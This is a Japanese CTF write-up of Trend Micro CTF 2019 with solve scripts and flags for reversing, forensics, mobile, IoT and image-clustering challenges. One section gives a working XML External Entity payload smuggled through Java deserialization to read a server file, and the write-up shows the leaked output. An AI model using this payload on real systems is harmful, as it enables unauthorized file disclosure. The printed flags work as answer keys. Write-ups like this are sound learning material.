superflipは、6問解いて900点、23位。
解いた問題。終了後はスコアサーバーにログインできなくなっていたので、途中経過。これ以降に解いた問題は無し。
Trend Micro CTFは解くのが面倒な問題が多い。実務での解析はそういうものなのかもしれない。
Trend Micro CTF、解くのがめんどい。競プロでいうところの実装ゲーコンテスト感がある。CTFもプログラミングも実務で必要とされるのは面倒なところというのはありそうだが……。static linkしてstripしたりとか、pcapに余計な通信が大量に入っていたりとか止めてくれ~
— kusanoさん@がんばらない@技術書典7お52C (@kusano_k) September 8, 2019
今回初めてGhidraを使ってみた。とても便利だった。
変数名は書き換えたけれど、逆コンパイルコードは自動でこれが出てくる。しかもこの問題の解析対象はx86ではなくARM。
Reversing 100
解けなかった。
Windowsバイナリ。TM
を引数に付けて実行すると、実行すると、
>GuessWhat.exe TM
Ok, now you're in :)
V2hhdCBkbyB5b3Uga25vdyBhYm91dCBjaXBoZXJzPwo=?????
Do you have something for me?
V2hhdCBkbyB5b3Uga25vdyBhYm91dCBjaXBoZXJzPwo=
はWhat do you know about ciphers?
。
プログラムを解析するとrc4
で先に進めることが分かる。
A7A91F1EA45AE0BE03735A09577DA594230BDE854B
Now you have the encrypted string you probably need a key, right?
Take a closer look at the string functions.
言われたとおりにstring functionをtake a closer lookすると、0x7fffffff
が得られて、これを鍵としてA7A91F1EA45AE0BE03735A09577DA594230BDE854B
をRC4で復号すると、&N0wu4rEgeTTinGth3re!
。さらに問題のバイナリはリースにZIPファイルを含んでいる。ZIPファイルのパスワードが&N0wu4rEgeTTinGth3re!
。↓の画像が出てくる。
画像は完全に同一 勘違いだった。画像も差分があった でJPEGの中身がちょっと異なるので、ステガノグラフィで何か埋め込んでいるのだと思ったけれど、異なるブロックは絵が存在するところだけで違いは良く分からず、終わり。100点だしそろそろ答えだと思うのだけど……。
Reversing 200
Reversingは1問も解けなかった。
ELFバイナリ。最初のフォーマットチェックは16文字の英字で通る。
$ ./much_ado_about_nothing TMCTF{aaaaaaaaaaaaaaaa}
TMCTF{aaaaaaaaaaaaaaaa} is not the correct flag.
その後が分からない。sigprocmask
とかを呼び出している。何をしているのだろう。
Forensics-Exploit 100
PCAPファイル。
IPアドレス167.153.103.215に対して、 http://172.16.123.177/ でアクセスしている奇妙なリクエストがある。どうやったらこんなリクエストができるのだろう? Base64でエンコードされたアニメーションGIFをダウンロードしている。とはいえ、これは特に関係無し。
似たようなリクエストで、117.114.23.95に対して、 http://172.16.123.177:125/ でアクセスしているものがある。 ip.addr==117.114.23.95
でフィルタしてポート番号を時間順に並べるとフラグになる。
TMCTF{Kn0ckJu5toNth3r1ghtd00r}
Forensics-Exploit 200
MIPSバイナリ。
動かす環境が無いから想像だけれど、こういう挙動をするはず。
$ ./helloctf
Welcome to Raimund Genes CTF 2019
MD5(flag) = 32d4b0b75479e4d5bb210f39315cd001
Please enter the password: XXXX
Result: "YYYY"
パスワードX
に対してresultは次の手順で生成される。
-
Welcome to Raimund Genes CTF 2019
の文字をソートする(0129CFGRTWacdeeeeilmmnnoostu
) - パスワード
X
に含まれる文字を取り除く -
74 7d 72 66 7f 38 14 26 3b 39 22 0d 00 3a 24 21 36 5d 54 58 5c 0e
とxorをする
フラグはTMCTF{???????????????}
という形式のはずである。これを74 7d 72 ...
とxorすると、 0129C???????????????s
となる。ということは、???...
の部分は、FGRTWacdeeeeilmmnnoo
から選ばれるはず。$\binom{20}{15}=\binom{20}{5}$なので全探索できる。
welcome = "Welcome to Raimund Genes CTF 2019"
welcome = "".join(sorted(welcome))
key = "747d72667f3814263b39220d003a2421365d54585c0e".decode("hex")
flag = "TMCTF{ }"
xor = "".join(chr(ord(x)^ord(y)) for x, y in zip(key, flag))
print welcome
print xor
"""
0129CFGRTWacdeeeeilmmnnoostu
0129 s
"""
import itertools
import hashlib
for c in itertools.combinations("FGRTWacdeeeeilmmnnoo", 15):
f = "TMCTF{" + "".join(chr(ord(x)^ord(y)) for x,y in zip(c, key[6:-1])) + "}"
if hashlib.md5(f).hexdigest()=="32d4b0b75479e4d5bb210f39315cd001":
print f
>py -2 solve.py
0129CFGRTWacdeeeeilmmnnoostu
0129C4- }tx|s
TMCTF{Raimund_AD_1963}
TMCTF{Raimund_AD_1963}
TMCTF{Raimund_AD_1963}
:
何個も出てくるのは、itertools.combinations
が同じ文字を区別するから。区別しないでほしい。
各要素は場所に基づいて一意に取り扱われ、値にはよりません。
パスワードは、 Caemno
を含み、これ以外のs
以前の文字を含まない文字列。何だろう?
TMCTF{Raimund_AD_1963}
Forensics-Exploit 300
blueprint.warが問題。「拡張子.war、聞き覚えはあるが……」と思ったら、Javaのウェブサーバー用にJARなどをさらにパックしたものだった。
ググっていたところ、Trend Micro CTFのwrite-upが出てきた。「コンテスト中にwrite-up公開だと……?」と日付を良く見たら、2018年だった。去年も似たような問題が出ていたらしい。
ということで差分を見てみると、CustomOIS
のwhitelist
がcom.trendmicro.Person
だけになっていた。一見無理そうだが、その代わりにPerson
がreadObject
実装してXMLから自分でパースしている。XML External Entity。
/TMCTF2019/flagbinはバイナリファイルなので、読めない。/TMCTF2019/keyは読める。問題のファイルを改造して、
package com.trendmicro;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Person
implements Serializable
{
public String name;
private static final long serialVersionUID = -559038737L;
public Person(String name)
{
this.name = name;
}
private void readObject(ObjectInputStream aInputStream)
throws ClassNotFoundException, IOException, ParserConfigurationException, SAXException
{
int paramInt = aInputStream.readInt();
byte[] arrayOfByte = new byte[paramInt];
aInputStream.read(arrayOfByte);
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();
localDocumentBuilderFactory.setNamespaceAware(true);
DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder();
Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream);
NodeList nodeList = localDocument.getElementsByTagName("tag");
Node node = nodeList.item(0);
this.name = node.getTextContent();
}
private void writeObject(ObjectOutputStream s)
throws IOException
{
String xml = "<!DOCTYPE tag [<!ENTITY xxe SYSTEM \"file:///TMCTF2019/key\">]><tag>&xxe;</tag>";
s.writeInt(xml.length());
s.write(xml.getBytes());
}
public static void main(String args[]) throws Exception {
FileOutputStream fout = new FileOutputStream("hoge");
ObjectOutputStream oos = new ObjectOutputStream(fout);
oos.writeObject(new Person("fuga"));
oos.close();
fout.close();
}
}
$ javac com/trendmicro/Person.java && java com.trendmicro.Person
$ curl --data-binary @hoge http://flagmarshal.xyz/jail
Sorry Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain. I cannot let you have the Flag!.
問題文のflagmarshal.xyz
ってURLだったのね……。
keyが分かれば、/Officeがevalをしているので、後は簡単。
HTTPステータス 500 - Internal Server Error
Type Exception Report
メッセージ A problem occurred when trying to execute method 'getFlag' on object of type [com.trendmicro.jail.Flag]
説明 The server encountered an unexpected condition that prevented it from fulfilling the request.
例外
:
原因
java.lang.Exception: TMCTF{F0OlLM3TwIcE1Th@Tz!N1C3}
com.trendmicro.jail.Flag.getFlag(Flag.java:19)
jdk.internal.reflect.GeneratedMethodAccessor69.invoke(Unknown Source)
:
TMCTF{F0OlLM3TwIcE1Th@Tz!N1C3}
Forensics-exploit 400
このコンテスト唯一の(たぶん)pwnable。
JavaScriptのインタプリターが動いているから、シェルを取れという問題っぽい。難しそうなので諦め。
Mobile 100
ADBポートを開けていたら、攻撃されてロックされちゃったらしい😇 通信のpcapファイルを渡すので何とかしてくれという問題。
pcapの通信をファイルに書き出して、WRTE
からの24バイトと、DATA
からの8バイトを削除して、apkファイルを取り出す。Apktoolで逆アセンブル。myDeviceAdmin.smaliのgetPassword
でxorしたりしているので、これでしょう。
A1 = [
0x18, 0x02, 0x00, 0x1f, 0x03, 0x29, 0x0b, 0x20,
0x2c, 0x2f, 0x09, 0x27, 0x2f, 0x24, 0x0e, 0x32,
0x03, 0x20, 0x25, 0x2a, 0x2d, 0x2f, 0x64, 0x2f,
]
print "".join(chr(A1[i]^ord("LOCKER"[i%6])) for i in range(len(A1)))
TMCTF{GoodLuckMyFriend!}
Mobile 300
解けなかった。
Androidアプリのネイティブコードの解析。libtmctfplayer.soがGhidraでもまともに解析できないけれど何なんだろう。
Iot 100
OLEDにQRコードを表示するプログラムと通信ログからQRコードを復元。今回のコンテストで一番簡単。
情報を送っているっぽい通信が最後だけで、OLEDに送信する処理は↓にある。
buf = [
0x7F, 0x41, 0x5D, 0x5D, 0x5D, 0x41, 0x7F, 0x00, 0xF3, 0x12, 0xDE, 0xB5, 0xC7, 0x12, 0xDE, 0xB5,
0xC7, 0x12, 0xDE, 0xB5, 0xC7, 0x00, 0x7F, 0x41, 0x5D, 0x5D, 0x5D, 0x41, 0x7F, 0xA7, 0x39, 0xBF,
0x5C, 0x6E, 0x2D, 0x55, 0xA4, 0x8D, 0xFB, 0x43, 0x94, 0xF0, 0x5B, 0xC3, 0x94, 0xF0, 0x5B, 0xC3,
0xE4, 0xA9, 0x73, 0x3D, 0xC3, 0x41, 0xFE, 0x14, 0x9B, 0x5D, 0xD4, 0x56, 0x45, 0x42, 0x4B, 0x53,
0xD5, 0x1E, 0xA1, 0x97, 0xB2, 0x94, 0xF0, 0x5B, 0xC3, 0x94, 0xF0, 0x5B, 0xC3, 0x35, 0xF7, 0x16,
0x55, 0x1F, 0xF1, 0x60, 0x42, 0x20, 0x54, 0x1F, 0x10, 0x17, 0x17, 0x17, 0x10, 0x1F, 0x00, 0x1C,
0x06, 0x18, 0x14, 0x10, 0x1B, 0x03, 0x14, 0x10, 0x1B, 0x03, 0x0D, 0x17, 0x09, 0x01, 0x07, 0x17,
0x06, 0x00, 0x06, 0x15,
]
for y in range(29):
l = ""
for x in range(29):
p = buf[x+y/8*29]>>(y%8)&1
l += ".#"[p]
print l
$ python solve.py
####### .#..##..##..##.#######
# .....#.###.###.###.#.#.....#
# .###.#...###.###.###.#.###.#
# .###.#...#...#...#...#.###.#
# .###.#.####.###.###..#.###.#
# .....#.#..#...#...#..#.....#
####### .#.#.#.#.#.#.#.#######
........#.###.###.###........
### ..##.###..##..##.#####..##
# .#.#....##..##..##..#.#.#.#.
# .#######..#...#...#..#..##.#
.#####..##...#...#..#.#..#.##
.###..#..#.###.###...##..####
### .##.#.#..#...#..####..#...
...##.#..##.###.####.#.###..#
# .#....###.##.###.###..#.#.#.
..#.###.##...##..####.###....
.#.###.#.##..##..##.##.#..#..
### ...##.#.#...#...#####....#
....#..#.....#...#.....#.....
## ...###.#####.###.######...#
........#.#.#...#..##...##.#.
####### .....###.###.#.#.###.#
# .....#.#####.###.#.#...#....
# .###.#......##..########...#
# .###.#..#...##..##.#..###.#.
# .###.#.##.#...#...##..###.##
# .....#.#.#..#...#.#.#.......
####### .#.####.###..#...#...#
TMCTF{4646D3V8P7R0G}
IoT 200
解けなかった。
ARMバイナリ。しかし、逆アセンブルしても何も出てこない。
This file is packed with the RGC executable packer http://upx.sf.net
という文字列が見えるので、「RGCって何だよ……」と思いながら、UPXで、upx.exe -d wawo
でアンパックできる。UPX、WindowsのEXEだけではなく種々のフォーマットに対応しているし、クロスプラットフォームでパックできるらしい。すごい。
プログラム中の文字列は暗号化されていて、下記のスクリプトで変換できる。意図的なものかバグか、先頭のr
は1回しか使われない。
def decrypt(s):
return "".join(chr(ord(s[i])^ord("raimundg"[0 if i==0 else (i-1)%7+1])) for i in range(len(s)))
print decrypt("00001a1d170b1615181904".decode("hex"))
print decrypt("5d041d0e5a1c01140e051b5b0d0b0907".decode("hex"))
print decrypt(
"1c000408060b1611041b4d4d405c4959"+
"47557f1d0106130a05551d0b0a041d05"+
"1c0003140e040801060d09060d0c0705"+
"170e050c431a1c036d".decode("hex"))
$ python decrypt.py
raspberrypi
/etc/resolv.conf
YE[SX\TAYQRV\^UWWX^ETRT\\^W YYD
TRP
]E^WVUEZT_QX]C^ WXY[E
TQ^]@yjbm*wim
ここまでは良いのだけど、/etc/resolv.confに書き込んでいる最後の文字列が復号できない。Raspberry Piの実機があれば動かして解けたのだろうか。
Wildcard 100
16,768枚ずつの3と6の手書き画像が与えられる。同じ画像も含まれているらしい。
- クラスタリングアルゴリズムで2個に分けろ
- どっちが3でどっちが6かを調べろ
- それぞれのユニークな画像を数えろ
という問題。
とりあえず、ユニークな画像はファイル自体を比較すれば良い。ユニークな画像は15,310枚。これでユニークな画像がとても多かったら、重複した画像のほうを識別しようと思ったけれど、そういうわけにはいかない。良くできている。
手書き画像だし、ディープラーニングを使ったところでどうせ99%くらいの精度しか出なくない? ということで、100枚をランダムにサンプリングして別フォルダに分け、天然知能である私が識別して数えると3が60枚で6が40枚だった。味噌汁は丸ごと飲まなくても味が分かる。9168枚と6124枚を元に値を増減しながらスコアサーバーにサブミット。10回間違えると
Error: You have submitted too many wrong flags within a short time period. Your team account is locked until 2019-09-07 09:39:01 UTC+0000.
というメッセージが出てきて1分待たされる。そのうち飽きてきた。
真面目に分類することを考える。DeepClusterというものがあるらしいけれど大変そうなので、k-meansで128個くらいに分類。かなり傾いた6とかもあるので2クラスでは無理でしょう。しかし、3が多いからか大半が3になって失敗。
考えてみれば、Trend Micro CTFの運営がわざわざ1万枚以上の手書き数字を用意しないだろうし、MNISTでしょ? MNISTの画像やラベルと比較すれば数字が分かる。嫌らしいことにJPEGで劣化していて、ハッシュ値とかで高速に比較することができない(28x28の小さい画像だとJPEGで逆にサイズが増えているので、たぶんこれを意図している)。しかたがないので、数時間掛けて1枚ずつ突き合わせ。
import hashlib
from PIL import Image
import shutil
mnist_data = []
mnist_label = []
def load_mnist(fdata, flabel, num):
data = open(fdata, "rb")
data.read(16)
label = open(flabel, "rb")
label.read(8)
for i in range(num):
mnist_data.append(map(ord, data.read(28*28)))
mnist_label.append(ord(label.read(1)))
assert data.read(1)==""
assert label.read(1)==""
load_mnist("t10k-images.idx3-ubyte", "t10k-labels.idx1-ubyte", 10000)
load_mnist("train-images.idx3-ubyte", "train-labels.idx1-ubyte", 60000)
S = set()
for i in range(34022):
f = "data\\%s.jpg"%i
d = open(f, "rb").read()
h = hashlib.sha1(d).hexdigest()
if h in S:
continue
S.add(h)
im = Image.open(f)
if im.mode=="RGB":
d = [r for r,_g,_b in im.getdata()]
elif im.mode=="L":
d = list(im.getdata())
else:
print "Error", im.mode
sm = 9999999999
for mi in range(len(mnist_data)):
if mnist_label[mi] in [3, 6]:
s = sum((x-y)**2 for x, y in zip(d, mnist_data[mi]))
if s<sm:
sm = s
ma = mi
print i, ma, mnist_label[ma], sm
shutil.copyfile(f, "%d\\%s.jpg"%(mnist_label[ma], i))
3が14,963枚。6が347枚。あれ……。最初にサンプリングするスクリプトがバグっていた。
しかし、これも不正解。どういうことかと思ったら、3656.jpgと6575.jpgはファイルとしては異なるのに、画像は同一だった。
TMCTF{14962_347}
おまけ
技術書典7でCTFのpwnableの本を出すので、よろしくお願いします。これを書くためにpwnableを練習したので無双できるかと思ったけど、役に立たなかった……。